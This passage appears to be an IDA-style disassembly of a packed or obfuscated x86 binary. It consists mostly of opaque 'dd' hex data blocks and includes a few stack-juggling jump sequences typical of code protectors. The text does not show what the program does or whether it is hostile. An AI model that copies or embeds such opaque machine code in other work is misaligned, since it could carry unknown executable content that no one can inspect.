1E648573h, 3C0F49A3h dd 2450F9A7h, 5F49E289h, 8B64h, 820ADA00h, 37D8699Ch, 0EE41B3A1h dd 0C48C47A2h, 9CEE65D6h, 3CDDB043h, 47DE0E95h, 3CDB0BB2h dd 0EE11C995h, 7DB8439Ch, 0A5D57EB3h, 0B6E46B12h, 3ADB741Bh dd 881F4F50h, 0DEC245F3h, 77226A86h, 0D961846Eh, 75C84BE1h dd 2D5AD596h, 7B22B3E6h, 4F5741E2h, 92529861h, 0D9805341h dd 0ED832252h, 90A7B86Ah, 87F08440h, 370CAC7Ah, 0DCF5DF3Ch dd 0E1E2871h, 8EFFC686h, 0BCC238Fh, 1DE6D46Ah, 0CA3B8465h dd 6E58F321h, 9A0CA174h, 0F48A820Ah, 0AA1FC144h, 0C52B49A7h dd 0A35080F1h, 0EF8CB49h, 80D35606h, 0DA37E6AAh, 662F755Fh dd 214799D7h, 0F020A74Eh, 0E919C055h, 6ADBA74Eh, 71708DF0h dd 36DF50DEh, 32CB7203h, 80174748h, 0DB4C3AEAh, 260E8D50h dd 0BB626953h, 0BE45EC8Bh, 0E44FF68Fh, 7C1745EEh, 3FE93792h dd 35E3780Fh, 50269785h, 9E710E8Dh, 9FD42F35h, 432D9FE1h dd 0CC731242h, 0D4Bh, 405EC100h, 0F231A290h, 0A97C49A3h dd 0FB2CF3BFh, 0C3CC36Ah, 194BD279h, 2350D77Eh, 295CE38Ah dd 376AF198h, 4170F79Eh, 4C7A01A8h, 57830AB1h, 686711B8h dd 648Dh, 24048F54h, 4240483h, 5E08950h, 4, 8704E883h dd 895C2404h, 0A682404h, 8900006Eh, 0F5682434h, 58060E38h dd 24348B54h, 6804C483h, 1C3Ch, 8F240489h, 348B0846h, 0E0895024h dd 405h, 40500h, 4870000h, 48B5C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_544543 ; --------------------------------------------------------------------------- db 5Bh, 8Eh, 0F4h dd 84B8819Eh, 3060E3Dh, 75E0FFC5h, 8933B7BAh, 62665AF1h dd 6B63B956h, 553ACA74h, 5C2185CFh, 6A2CA944h, 0D1371A7h dd 0D90BF23Ah, 0E91F6A99h, 9B37EFCDh, 991DAFCFh, 267920B3h dd 0B30FB442h, 754E4158h, 0C039BE07h, 5B3440B8h, 0EB11D222h dd 1370A104h, 53CE91Eh, 0ACDD0000h, 0B1DD8419h, 0ACDA8116h dd 0A6D57C11h, 9CCF760Bh, 0C1D97409h, 0AD42D306h, 0A73CD906h dd 9E33CE00h, 9B30C7F7h, 17260CEh, 4C4395B4h, 75256335h dd 0A3F21687h, 0A48E6149h, 0B6E673A3h, 50D77E1Fh, 45EE841Dh dd 8C937D18h, 7B22B5E5h, 8A31C4F4h, 0A238D703h, 4832CDF9h dd 4ED86B2Fh, 8015B0E0h, 0BBB24FD2h, 5872E014h, 9783B7EFh dd 56408BD6h, 95C82355h, 0AF81F5ABh, 0DC8318B9h, 0E97017AAh dd 9C0333BCh, 0E16614E6h, 0EB8C2D7Eh, 8690D944h, 36CB6698h dd 21C85F8Fh, 0B6F51093h, 2830EE55h, 0A88AF83Eh, 197249A3h dd 0A0CC90Fh, 73CE19AFh, 0F6000000h, 9E881B4Dh, 507C25D2h dd 0BA5AD8EDh, 0D273BD3Bh, 0A7A8922Bh, 6D39E077h, 49A33C02h dd 0D37A1342h, 0E2891C4Ch, 2DE93772h, 995FE942h, 19AF763Ch dd 19Eh, 2C0200h, 0F2118270h, 895C49A3h, 77A952E8h, 52D9F2DCh dd 59E08726h, 24E88F2Ah, 326761E4h, 25DEF9EFh, 0E156E03Bh dd 816B0638h, 24B95480h, 24BA4D7Dh, 5D21FDA1h, 624CDEC2h dd 0F92CE95Bh, 0E3AC168h, 5A56D96Fh, 68980EEAh, 0F67D9680h dd 872EC7h, 23933AD3h, 25DE5EE8h, 4174A26Ch, 44741BB0h dd 55830AB1h, 57EA1CC5h, 0D24317B0h, 1D49A3D6h, 782C1082h dd 51F2A942h, 3F711AB0h, 0D97679DCh, 23C4034Ah, 2FC2F57Ch dd 0BF4EEF88h, 0B54EF590h, 3114B2CBh, 5C8932E7h, 61931AC1h dd 0E23B25C6h, 19AF3B03h, 58F9h, 83712100h, 49A37B12h dd 0C8FB8A5Dh, 2C77432Dh, 3AC168F9h, 6CA710Ch, 487BA573h dd 0F259CAB8h, 6B9D49A3h, 5D8F50D8h, 0E98A23CAh, 0D90CB348h dd 0EB1AA148h, 2A0DAB52h, 0BE0BDA1Ch, 41F119AEh, 55000000h dd 0C168F92Ch, 0C66D083Ah, 1C0D1B56h, 0BAA44373h, 56EB86B9h dd 65002CE4h, 0F284F2BEh, 96C849A3h, 9C43DE0Dh, 34BB6203h dd 43CA7104h, 0C3FE7611h, 75CEB975h, 0BFB025ABh, 12A19AEh dd 8E000000h, 0BC63FE2Ch, 0CB720535h, 1F091760h, 13C156F1h dd 0E4F68490h, 26106188h, 0ED837B03h, 947E1744h, 6249E8Ch dd 6C3F47A3h, 66012DD6h, 679726BFh, 0A69029D0h, 51D6068Dh dd 0CEFA8924h, 4EEF882Fh, 43E212B9h, 38650E9Ch, 46DF0E9Dh dd 0D61C069Fh, 439CD66Bh, 0C1F17EABh, 45E67F26h, 52E5179Eh dd 0E53304ABh, 0A876B129h, 22B74E7Eh, 5AC4B7Bh, 0A3EF4E7Eh dd 0E3CC03CFh, 2FD06194h, 5A48F88Eh, 439CD4E9h, 5E776134h dd 0D7C447ADh, 0C6C037BDh, 9FA904EEh, 180D27AAh, 7F694F41h dd 0D1649495h, 0DA983D3Ch, 7421FB5h, 6A000001h, 0F1CB5DE7h dd 856A2400h, 23A00919h, 2B682322h, 0EB4B43EEh, 0A94604Ah dd 6F48A82h, 47A2FA58h, 0ABA5023h, 9CE9AB1Ch, 3923F643h dd 470F9220h, 48B5278Ch, 46767761h, 43731AAFh, 4676FDA4h dd 9E5708AFh, 0DF76A690h, 0FA8A4B4Ah, 33501FB5h, 0B4000000h dd 0F98F830Ah, 0A3F2EA0Bh, 2CC29549h, 58EE5183h, 0A828381Bh dd 0C4DDC768h, 0A3D987F8h, 4CDAAB49h, 0AF4539C0h, 0A3D9A0C1h dd 0E3784B49h, 8142h, 820AB800h, 0C144F48Ah, 8E53C5F3h dd 0D01600AEh, 47A2175Eh, 0A12FD6A9h, 8A31CCF8h, 0D60607F1h dd 0D303AA3Fh, 9C18D34h, 99439C17h, 9D24CB66h, 0C030D76Ah dd 37BBB85h, 0A0D07EC8h, 1FA77005h, 0BCE89127h, 7F2F3721h dd 250FA6D6h, 9208B0DFh, 0FDA47741h, 19AF4676h, 53BCF396h dd 0B9A5024h, 39523CDBh, 6BBB85CEh, 0A555EBE3h, 4D37CAFCh dd 831FD807h, 37CC9F3Bh, 76400689h, 0CD0A450h, 820A5622h dd 1B4BF48Ah, 9C8A927Ch, 4799E46Dh, 22CB6134h, 19B259F4h dd 5F8F162Fh, 0B474E5D3h, 0ECBF4395h, 0DA0CB54Bh, 1D07A047h dd 0A83F6F16h, 9CCA7301h, 0D7C15A01h, 9AA17B91h, 55DD0F5Bh dd 787FF667h, 0CD6E412Bh, 0D4739F26h, 0AF79C22Dh, 610A36Fh dd 6A58E818h, 2B787FF9h, 98C12E63h, 8911FE21h, 62804DB6h dd 81280DE2h, 74A44BE0h, 84B33AE1h, 89BB42E9h, 93C047EEh dd 0FC8F53FAh, 367FF232h, 770E3EE8h, 18434E2h, 3972E3E8h dd 0A011E564h, 0EB2B7815h, 0FD2D2E18h, 0F92BD46Ah, 0FD30B75Eh dd 0C0D9C364h, 33Fh, 7C5EB500h, 0C36AFB2Ch, 0D2790C3Ch dd 0D77E194Bh, 0E38A2350h, 0F198295Ch, 0F79E376Ah, 1A84170h dd 0AB14C7Ah, 11B85783h, 20EC6867h, 1C890000h, 81E38924h dd 4C3h, 4EB8300h, 5C241C87h, 758368h, 24148900h, 2B0668h dd 242C8900h, 27386850h, 5582BECh, 5DF7BC7h, 9E434E25h dd 0A8B95146h, 0F76AE44Bh, 0D9F749D9h, 5430F181h, 0C831108Ch dd 20780559h, 0C2898B2Ch, 4EC8358h, 83242489h, 5D042404h dd 24348152h, 6FEE7731h, 5108458Fh, 8B9h, 81E90100h, 0EE773131h dd 2C8B596Fh, 0E2895224h, 4C281h, 0C2830000h, 24148704h dd 2434FF5Ch, 4C4835Ah, 0F939FEE9h, 0E4163AFFh, 0EEB8ABD8h dd 3060E42h, 12E0FFC5h, 773F8257h, 962FDB58h, 2D79D1A8h dd 0D9777616h, 49413A79h, 0C561936Dh, 9D36C5B1h, 0F16DFBF5h dd 3221B401h, 56129A5Eh, 0B4711D9h, 0A45AA370h, 0E44CD9DEh dd 4670EF41h, 636CF223h, 7A768728h, 146424F8h, 3D265D73h dd 0E564ABC8h, 5219F35h, 0D7571BCDh, 0FC7F15FFh, 5250BFA2h dd 728ACFFh, 8D3C1DE8h, 0E44BF8Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0EC84973Ch dd 0D98D89B3h, 6606071Ah, 0F777F781h, 101D85C7h, 58140607h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 47C031C3h, 0BFEA8149h, 5002FF47h, 0A7B86660h dd 0B1C7BA96h, 5A611F81h, 0EE1E92BBh, 585C71Fh, 60733h dd 51000000h, 23A5858Bh, 8B5B0607h, 72F999Dh, 31B5FF06h dd 8B06072Dh, 72D2585h, 5995FF06h, 6A060718h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 9234C355h, 0DF91E776h, 6A693A27h, 6995FF00h, 8B06070Dh dd 60AEBC0h, 11FD0733h, 0A93F90Bh, 4604EB9Fh, 0E9063C3Dh dd 53Dh, 0EE832253h, 0E77C1B47h, 0E2771240h, 0DC710C3Bh dd 0DA6F0235h, 396C273Fh, 3F6C13A8h, 386A11A6h, 3161089Dh dd 0C6340196h, 95AE67D8h, 0C99BB243h, 0D369FC2Ch, 3B059B50h dd 7F1EFBDh, 0AC3467EEh, 0A35E4DBEh, 36C59849h, 36CB6C09h dd 32C85F8Fh, 25BB5689h, 0A35EC637h, 543E1149h, 2984B43Bh dd 0F3CFEE8h, 0CD36CF76h, 0DD7E9E14h, 0D76E9E47h, 97811C48h dd 2CCBF77Eh, 27BAED96h, 719D243Dh, 7AA82FD6h, 0C09138DFh dd 57EAB676h, 982F5FC9h, 972A5C03h, 7DAB5402h, 1B8EFFEDh dd 6D949A3h, 0D0F0FC65h, 1C4FF470h, 64FF3132h, 0A40936BDh dd 879709B7h, 670EAF31h, 6D14ADE0h, 751CB9E6h, 26101EB1h dd 47BA5BFAh, 0D40630FEh, 0E4852053h, 0DD78A84Fh, 4DFC6A36h dd 0DEE449A3h, 86700335h, 0FADB1D2Bh, 0E019AF63h, 67h dd 69FC2C44h, 0F28BF6C2h, 9FCB49A3h, 0A6D25900h, 99C6007h dd 0E14FF3Fh, 0F1FF705Eh, 774A49A3h, 0E2E4328Dh, 19AEBFF3h dd 1E9h, 2C4D00h dd 0B37BE65h, 0FD2DD66Ch, 402AC36Ah, 0D871A027h, 842D6D31h dd 4154BD58h, 8457B187h, 0F4429D87h, 0EA7F1E4Ah, 0FAC1343h dd 77B86F46h, 76ECAA9Eh, 0CF23670Dh, 2C27992Eh, 29D268F9h dd 1EB75EF9h, 0E48D1B34h, 0DF781FB2h, 38C8F4F5h, 0A3F2D94Ah dd 0B0512449h, 919F5809h, 4CE174A7h, 0C4F475A5h, 0D3038A31h dd 53F48D34h, 56840BB2h, 937614BBh, 0BEA24385h, 725819AEh dd 0BC000000h, 4C7AF92Ch, 0D0710AB1h, 0C35E913Ah, 826C0534h dd 0FF32DB69h, 3C26BF66h, 0CB720D3Bh, 0EF1EC707h, 0AD16AF56h dd 0EDB0854Eh, 0D02B1572h, 0CA5D846h, 49DD077h, 19A7D65Dh dd 0A3E2BA2Bh, 37CEFE49h, 943BDCAFh, 0C30513F6h, 19AECE22h dd 3AD8h, 0F92C3C00h, 8AF4E7Ah, 8F38CE6Fh, 831CC362h, 452FC2F4h dd 0E073A52Ch, 808EC939h, 3DD26396h, 77002CCBh, 680FB047h dd 0A3F22E9Ch, 73BD1649h, 0AEC0686Dh, 17219h, 2CD60000h dd 0B24575FEh, 2AD1720Bh, 0B3E673A3h, 6FDA8122h, 0AA3D079h dd 85E0CA63h, 0C45F8DBBh, 1EDE662Fh, 62FC9B5Ch, 0D3690A49h dd 0A24E6BE5h, 18C87847h, 9C1EB92Ah, 5D310443h, 439C1DECh dd 91E8DD56h, 75FD5715h, 0EBBEB8A2h, 0DD0DB644h, 0ED942D5Ch dd 0C8C9B354h, 0C168FD98h, 0C14FF691h, 3264EB18h, 0BE5FF89Fh dd 4E947E17h, 439CC6E3h, 0BECF523Ah, 32CBFAAAh, 0BF89F28Bh dd 6563C74Ch, 99495E3h, 15237E68h, 0C65CFB2Bh, 705AED1Dh dd 0F392C269h, 0EB50DA5Dh, 7F40CFF8h, 0C5F57C95h, 0D4048B32h dd 41ED5E4Ch, 6538439Ch, 67961DC4h, 0BD7627CEh, 41FAB373h dd 7E1949F7h, 6FEBEAE9h, 40F11FB6h, 55000001h, 0F48A820Ah dd 0A2FA5806h, 6D5B2347h, 439CE8FCh, 2CD37447h, 4DE275A5h dd 0C4F176A6h, 48E98229h, 83EA1AA1h, 0DBDAFE6Ch, 92C453C9h dd 1EBF58FFh, 30DC677h, 3464E515h, 374DBEACh, 0C598439Ch dd 0EFEE8324h, 1FB67AE6h, 64F4h, 830A5800h, 0A049F98Fh dd 0A4EAD46Dh, 49A3F283h, 11827020h, 5C49A3F1h, 0D2A59F89h dd 0F0EE5F2Bh, 411249A3h, 0ACA027F7h, 77319316h, 7565BD15h dd 23D3838Bh, 0A3D3C435h, 0A63C0F49h, 0A3D347B8h, 0D5BF9249h dd 0A3D36E8Fh, 0C1880B49h, 7F4EC94Ah, 0C99C9680h, 24958333h dd 6F49A302h, 0AABB29Ch, 8Fh, 8A820A80h, 0E55644F4h, 4F49A3F1h dd 7F65D701h, 0CE8F17B8h, 7A6405A0h, 41128472h, 8A5D47A2h dd 0E55644F4h, 30439C40h, 8DD1DD95h, 13B4038Ah, 59891029h dd 3FE04FF6h, 6E0FFFC7h, 630232D9h, 93AB2EBCh, 0AC42B3ABh dd 843C826Ch, 2B439CCDh, 0C8F826F0h, 0CE75103Fh, 36FF9435h dd 3220B6AEh, 41930895h, 3FC66D40h, 66D1780Fh, 7B03131Dh dd 25CC6795h, 6755EB8Ch, 3B84C3CAh, 0F68FBE67h, 0A93F120Ch dd 4D37D200h, 0C0EF9846h, 0A6F3B25h, 6F48A82h, 479A2E69h dd 0C9A4114h, 0ACFD6E5Ch, 75484395h, 0BB5A8A8Bh, 0B84F7F26h dd 0D6974511h, 8B1E43C7h, 0C46393BDh, 0BD58882Fh, 0C5608F16h dd 0DC6AB31Eh, 0EA34272h, 0F9A03767h, 0C78h, 802FB200h dd 0E565E61Dh, 5EFBC7B1h, 6AFB2C7Ch, 790C3CC3h, 7E194BD2h dd 8A2350D7h, 98295CE3h, 9E376AF1h, 0A84170F7h, 0B14C7A01h dd 0B857830Ah, 89566711h, 16BD55E6h, 8115DD2Bh, 0B05AC4EDh dd 4EED8159h, 1BC2CD0h, 0EE835DEEh, 24348704h, 0E089505Ch dd 405h, 42D00h, 4870000h, 1C895C24h, 0E0895024h, 405h dd 42D00h, 4870000h, 14895C24h, 0D6BA5224h, 0BB118818h dd 0F4862C03h, 148BD301h, 4C48124h, 81000000h, 4ECh, 24248900h dd 4240481h, 5A000000h, 471568h, 242C8900h, 6A89DD89h dd 148B5D08h, 0E0895024h, 405h, 40500h, 4870000h, 34FF5C24h dd 0C4815B24h, 4, 0F93372E9h, 239685FFh, 4973B8EDh, 0C503060Eh dd 0FB51E0FFh, 0E8227AEh, 68171AE4h, 736D1D29h, 9693D84h dd 0D10518B2h, 8BA33BEDh, 0DA981185h, 9085A42h, 1E4F7005h dd 0FA3C5EE3h, 3D50652Ah, 466F7E45h, 3F192955h, 34D0204Ah dd 0FC554246h, 0ABB32E1Dh, 20523738h, 0AB445EADh, 23A62E38h dd 8DE65EB1h, 240F4FC1h, 0B4B276FAh, 4D426C52h, 2C930AB6h dd 37253316h, 4EB4FDAh, 6FC0990Ch, 58EE9h, 0CC699A00h dd 0C9649037h, 0C45F8D34h, 0C059882Fh, 0C051842Bh, 0BD78902Bh dd 0BB62F78Ah, 0B35AEF8Eh, 0AA51E681h, 7946DB7Ah, 0A8AC1D0Bh dd 0E0F74395h, 0E4A2250Eh, 6CE264C7h, 0E788194Ch, 71CCFCFDh dd 79EC818Ah, 5900A1FDh, 71069FD2h, 54FB9ACAh, 630A9DCDh dd 0F827B0DCh, 0FCA3426Fh, 821BC263h, 0E3763AE1h, 93BE455h dd 79EAD86Eh, 0C449A37Bh, 0D60607F1h, 0D103AA3Fh, 0C8FAA136h dd 0D2FF862Dh, 0D87F1245h, 8CF79E3Fh, 194BF543h, 4665E87Eh dd 45F10854h, 89303721h, 4B17BE59h, 49A333DDh, 1CA26CC5h dd 19AF7EB9h, 8E23h, 0FC2C8700h, 0F2158674h, 265949A3h dd 0C34BE48Bh, 1AA84FF0h, 0F20B7C6Ah, 0BB5649A3h, 0F0866D20h dd 9D872817h, 0A3A4EC57h, 66FF2C49h, 6D0838BFh, 0D1B56C6h dd 9D202611h, 95317631h, 78D3BDBEh, 66AD28AEh, 12F19AFh dd 93000000h, 0B5507C25h, 8A8B750Eh, 0D20F75Eh, 7BF3D386h dd 0FCA533DAh, 0F79037CAh, 45E00C0Dh, 0FC7CFFAFh, 76915C8Eh dd 3D44519h, 4C1F49A3h, 93C24962h, 0FC8F53FAh, 4FD80432h dd 4AE38A1Dh, 3D6D14A9h, 2CA315AAh, 791FA0F9h, 0D039D401h dd 882942F9h, 8F2E5AE1h, 882150F9h, 455E48E1h, 0E34DDB94h dd 0D98015B0h, 7B6919A9h, 49A3BA0Ah, 3DAE8255h, 8849A3BAh dd 0DF6D14B5h, 0BAD0412Fh, 481B49A3h, 44EB86B9h, 92C0C1ABh dd 0C3B161F7h, 49A3BA52h, 4634CA9Dh, 49A3BAD5h, 4A634D20h dd 797FC9ACh, 19AEF66Ch, 8F8Eh, 0F92CF200h, 8AF4E7Ah, 0A027CE6Fh dd 9841D772h, 0CAE3CD68h, 7BA57306h, 6A18AD48h, 140292C1h dd 49A3F2A3h, 907A1BEEh, 22C95C8Fh, 3BD16C9Bh, 0F22C9D8Bh dd 0A47749A3h, 7303A1BAh, 7B491BF0h, 13FDA751h, 7D686EB8h dd 4B19AF5Ah, 31D875A2h, 37E68FD0h, 0AF50AE26h, 50D1C5h dd 50F90000h, 2FA08E1Eh, 7A49A35Bh, 0C65F06A7h, 0F92C10DCh dd 0DAE477Ah, 0EC55D866h, 700938EAh, 31A0E507h, 93144647h dd 7C23C463h, 0D947D10Ch, 4760BA6h, 0BE65002Ch, 0A3F284F2h dd 5136C49h, 0A23D6B14h, 1F7862FBh, 19AEBFB6h, 124h, 0FE2C8800h dd 535BC63h, 16BD5884h, 27BEEE7Dh, 9F46E780h, 0F35DEB34h dd 0CC952AC5h, 962F5E44h, 1FB556EFh, 0C2AC4976h, 0B15A0ABAh dd 0A415E984h, 0EF49A3F2h, 8CCCB31Ch, 471F073Ah, 759D175Dh dd 0E5B847A2h, 0F087B73Eh, 0F184B45Bh, 45137E4Ah, 2F6A439Ch dd 700737E1h, 830434DBh, 79ACC55h, 971EC566h, 7829D067h dd 97C771BFh, 696C6B00h, 731FB66Dh, 16Bh, 8A820AD7h, 689B44F4h dd 0EF9DE3CDh, 0BA47A2F9h, 89B940E7h, 82B259EEh, 85B53CE3h dd 0BDD95CF2h, 0FBAB2D2Ch, 1FD0E9D3h, 49E410B9h, 53A045Fh dd 0E37EAC55h, 9C7E9E0Fh, 0FC28E943h, 8021BA61h, 0D2659596h dd 34973E3Dh, 0AE311FB6h, 0F6079EA7h, 42362066h, 60h, 0C7830AA6h dd 0ECCF083Fh, 23B95A7Bh, 0A2FE1435h, 0D808B149h, 8659533Dh dd 7CA851DFh, 40B1F7E1h, 6449A2FDh, 0CDD863E6h, 0EA912C58h dd 7D76E851h, 43E47DB0h, 0FB4EBFADh, 0C69949A2h, 67B781DCh dd 6856ECE0h, 49A2FB47h dd 0DC8A1FF2h, 0FACD3E2Ch, 571849A2h, 52EB9225h, 0B4CCC7B1h dd 42000000h, 16877525h, 6149A3F2h, 0F981A48Eh, 0B7D6B01h dd 4847A2EEh, 0EE39AA98h, 0B184439Ch, 1705CDC7h, 439CEEA6h dd 0D67D1EF1h, 0F3881F4Fh, 0D66F9C45h, 0DE6BCE2Fh, 9860B60Bh dd 9F3A68F7h, 0F184B4B5h, 17C67E4Ah, 2A56439Ch, 2E5DE48Bh dd 7445EC93h, 0AF26AAAh, 6EEBD887h, 3E28EF00h, 3BE455E3h dd 83846E09h, 561FB453h, 2DBBE8CEh, 9CACCE3Fh, 0A5461943h dd 0AD4EE716h, 0F2432917h, 0AB7E4192h, 0BA4D7D04h, 2B2A813h dd 8E62A314h, 311BEE3Dh, 34BC48D6h, 32BC214Eh, 754FB244h dd 1C4FDE7Fh, 0A849E289h, 0A03B6912h, 0DAC0AEB6h, 153B84ABh dd 0A3BAD42h, 6F48A82h, 479A3820h, 3EAF9D4Dh, 894395A8h dd 0AD2CCB6h, 95A8AB1Ch, 0D75BF643h, 13B88FD1h, 7D24C566h dd 931446EFh, 3C26C766h, 0D76C0B3Bh, 0B5508029h, 8A8B750Eh dd 67D8C65Ah, 0A44395E9h, 95E945B6h, 35BD9043h, 4E1AC162h dd 2BCBB120h, 150A14A7h, 0B2D6B92h, 0C3AD1D61h, 5DF392C2h dd 3ED88B4h, 922555FCh, 9C3564EBh, 95305D06h, 0D80B92ABh dd 0E30F963Dh, 75049D44h, 4206AD48h, 32A561AFh, 0C1F15FE9h dd 0BAEA9126h, 3F3741Bh, 69000000h, 0FB2C7C5Eh, 0C3CC36Ah dd 194BD279h, 2350D77Eh, 295CE38Ah, 376AF198h, 4170F79Eh dd 4C7A01A8h, 57830AB1h, 506711B8h, 405E089h, 83000000h dd 43304E8h, 24043124h, 5C240433h, 2C9F68h, 24348900h dd 699A68h, 24048900h, 720DFEBEh, 0D7B95169h, 814C4E48h dd 0F34FE3E9h, 0C1D9F730h, 0E98108E1h, 973F9A91h, 8159CE09h dd 334F6DE6h, 0C1DEF752h, 0F68104EEh, 0DF281BBh, 24048B54h dd 4C481h, 0EC810000h, 4, 8F243489h, 48B0840h, 0E7895724h dd 4C781h, 0C7830000h, 243C8704h, 24348B5Ch, 81E28952h dd 4C2h, 4C28300h, 5C241487h, 0F92D72E9h, 91D055FFh, 0CE905D72h dd 41D2F0BBh, 0B8E442BDh, 60E4F7Ch, 0E0FFC503h, 7C6345Fh dd 6156294h, 30C66712h, 1A0D88A7h, 4B08EA24h, 77A1B491h dd 1B3327Eh, 4D231AE9h, 7FFC96C2h, 50DD8D8Dh, 0BD8B060Eh dd 6072CFDh, 1AD98D89h, 58BE0607h, 0C7542F71h, 7101D85h dd 5AD006h, 6810F00h, 81000000h, 8EE525D2h, 0FD858B78h dd 0C7060721h, 7330585h, 6, 0B5FFF800h, 6071171h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0D6C35343h, 0AB0AD733h dd 1212A11Ah, 0BD8BF565h, 6070C85h, 185995FFh, 0EE90607h dd 0BB000000h, 24E06C55h, 0A7EFC728h, 0D514127Bh, 0FF006A50h dd 70D6995h, 0EBC08B06h, 22069A39h, 0AD66B2ABh, 1795F45Bh dd 0B222656h, 0FBE2D070h, 0A20D7DFDh, 3B5748EFh, 8285E7DAh dd 0D95CA43h, 29243FCAh, 0C2C5EC76h, 7A79B36Ah, 0C40D1722h dd 5571F845h, 4EB71DAh, 4DAFBC92h, 62AE9h, 40D50600h, 3DD804ABh dd 38D301A8h, 34CDFCA3h, 2CC5F89Fh, 29E4FC97h, 1FC65BF6h dd 17BE53F2h, 16BD52E5h, 0EDBA4FE6h, 0A120917Fh, 546B4395h dd 37A89646h, 824395A1h, 2CF9C5AFh, 158674FCh, 6049A3F2h dd 0BE45EC8Dh, 2F5C058Bh, 0F251C296h, 639549A3h, 89029D0h dd 58FF9435h, 5FE68D28h, 0F077AA2Fh, 0E47D24BDh, 74FBA243h dd 4206AD48h, 0B061AFh, 0A3F2A112h, 8A19EC49h, 0D3D4BE57h dd 0C16F04A3h, 0F2B22311h, 0C9F649A3h, 0E7D1A42Ch, 133B4E6h dd 8526BF66h, 7C1749F0h, 964563E6h, 0BF954F11h, 0AB2EBCD5h dd 0DC0C3014h, 0DD1BE049h, 0F65B1A83h, 1A87340Bh, 63022F30h dd 5FF224CDh, 0A8F15C75h, 1B7EB09Eh, 6C7A89Fh, 1AAF5062h dd 0EA44373h, 16FF705Eh, 824A49A3h, 0A3172394h, 0FA9B6E49h dd 0C069F710h, 0BA53FA93h, 171C8AD0h, 0AB0449A3h, 9B7A5B9Dh dd 726019AFh, 0C4000000h, 0C269FC2Ch, 0A3F28BF6h, 0B9696F49h dd 0A3F25ACBh, 0EFDDA549h, 49A3F27Eh, 6B55F6C9h, 61110610h dd 4AF18CB8h, 0F26CDDB1h, 0E4B749A3h, 0F1EF604Eh, 673A49A3h dd 0BFB1247Dh, 12B19AEh, 8F000000h, 0BE65002Ch, 4E7E0B37h dd 0D67710B7h, 0E079A82Fh, 54E27539h, 8A1FBEEAh, 0CD3E2CDCh dd 1849A3F2h, 2A5A5B45h, 9848F68Bh, 0A3F239AAh, 0C7B18449h dd 7AF92CFBh, 196EEA4Bh, 9F2B6FDAh, 1DBE57FEh, 8465E876h dd 3CE746D4h, 0CEDB4C3Ah, 532649A3h, 9BC7C8B2h, 3EA455FCh dd 3179B5BBh, 59434C1Bh, 0D30630FEh, 0D606AD42h, 0BF9A93Fh dd 49A3C19Ah, 0F2812E5h, 0FAAD881h, 0E4E5CF68h, 0DC851BB6h dd 0B70850A9h, 14096C70h, 0D2708973h, 6DF021EFh, 6F5DF528h dd 49A363FEh, 0F00D7649h, 17705A28h, 19AF57CEh, 0B22Ch dd 7EAB5400h, 0B59F38DFh, 68F92CE9h, 60FB29D2h, 1D3620B9h dd 26CD6896h, 0D741CF62h, 0BD2E1CA4h, 849A3F2h, 58FF9435h dd 5EE58C25h, 68EF962Fh, 71F89F3Ah, 92FDA43Fh, 993FFF49h dd 7F6668B6h, 5D19AEBEh, 98h, 19ACDC85h, 0F92C632Fh, 8333C168h dd 0F274E5D3h, 0ECBF49A3h, 0A3F2A718h, 131F249h, 245CC566h dd 4DFDA432h, 0F82A2B15h, 0FA8DBF68h, 75E6BA53h, 0C049A33Bh dd 0CBDB84EDh, 5D78316Bh, 0BDA515BCh, 0FE6F5D0Dh, 4949A370h dd 7131A276h, 0A97C49A3h, 65DA64BFh, 7156C7B5h, 0CEA149A3h dd 15B0E3E4h, 6E70FC7Fh, 0F24B42F0h, 258F0108h, 0A60DA2A2h dd 4D7D51A3h, 0D97A13BAh, 23C2EEEFh, 2EB5E48Dh, 0DAC46500h dd 2F87F5C1h, 166F49A3h, 830FC608h, 1CD19AFh, 31000000h dd 0BC63FE2Ch, 0CB720535h, 1F091760h, 13C156F1h, 22A43A90h dd 43AC9764h, 0EFDFBD77h, 2A4D3750h, 0F590BCA2h, 56D0BE54h dd 7147A287h, 0C125CD6h, 0FA9BAA73h, 99CCC53h, 0EA1DC674h dd 3C6C6D57h, 386A13A9h, 2249BAA8h, 0C194439Ch, 0C5F27920h dd 849D8728h, 9C224DB8h, 0C45F8D43h, 0D263961Dh, 0CF761143h dd 1A1A245Fh, 6FD967A2h, 6C13A83Fh, 7B02A93Ch, 6D16AC4Bh dd 0F38EBC3Dh, 7C12AB52h, 9C221D8Eh, 0AB956843h, 0CB7BE192h dd 0B259F422h, 22D44519h, 841F439Ch, 98F7B997h, 4B35D6C8h dd 0C8F826F0h, 3C99982Dh, 9E1FB5E2h, 158h, 8A820A02h, 0FA5806F4h dd 5B2347A2h, 9CE8FC6Dh, 0D3744743h, 0F475A52Ch, 0EF882FC2h dd 0E8FA6B59h, 7245439Ch, 65953CD1h, 0F49D2BD2h, 41422CC5h dd 5DE07611h, 5E7663D4h, 5F8B1A8Bh, 968019C0h, 513CC7Dh dd 0B64CEB1Bh, 0F8A71806h, 1FF2439Bh, 0A62F2E35h, 341FB6B9h dd 40h, 8F830A98h, 0EA5B49F9h, 3549A3F1h, 82707862h, 49A3F261h dd 7D184B0Ch, 0F86935DCh, 1C49A3F0h, 0AA31FD4Bh, 0ED7020B6h dd 959EAFBCh, 0C56093D5h, 0D3F43A24h, 7E49A3E3h, 0BD7516ABh dd 0EB000000h, 0F48A820Ah, 47D25F71h, 40CFE487h, 37D07712h dd 0E557454Dh, 3047A294h, 2917C75Dh, 439C94B8h, 2D463003h dd 49DF76A6h, 943AAB99h, 0B285439Ch, 6F59F423h, 1C0ABA68h dd 439C94ABh, 720535F6h, 0B6E6E7D1h, 0F4AC781Fh, 9B439C93h dd 0DE61D660h, 0CF9D3439h, 6C6D577Eh, 4B14A93Ch, 8535CBC3h dd 0FC76E7D5h, 0EEC1439Bh, 4B64BE04h, 0AC7F4192h, 0C94E7E05h dd 0BE57FE99h, 0BD64032Fh, 71DC8324h, 860E1E28h, 0B00AF88Eh dd 0BD3B83FAh, 0BC4BE614h, 120CF68Fh, 76F9A93Fh, 66DAD276h dd 65D6AA24h, 0B0377F9Ah, 3EECF3DDh, 6A10FCBBh, 75A7EEF9h dd 0BDAB41E2h, 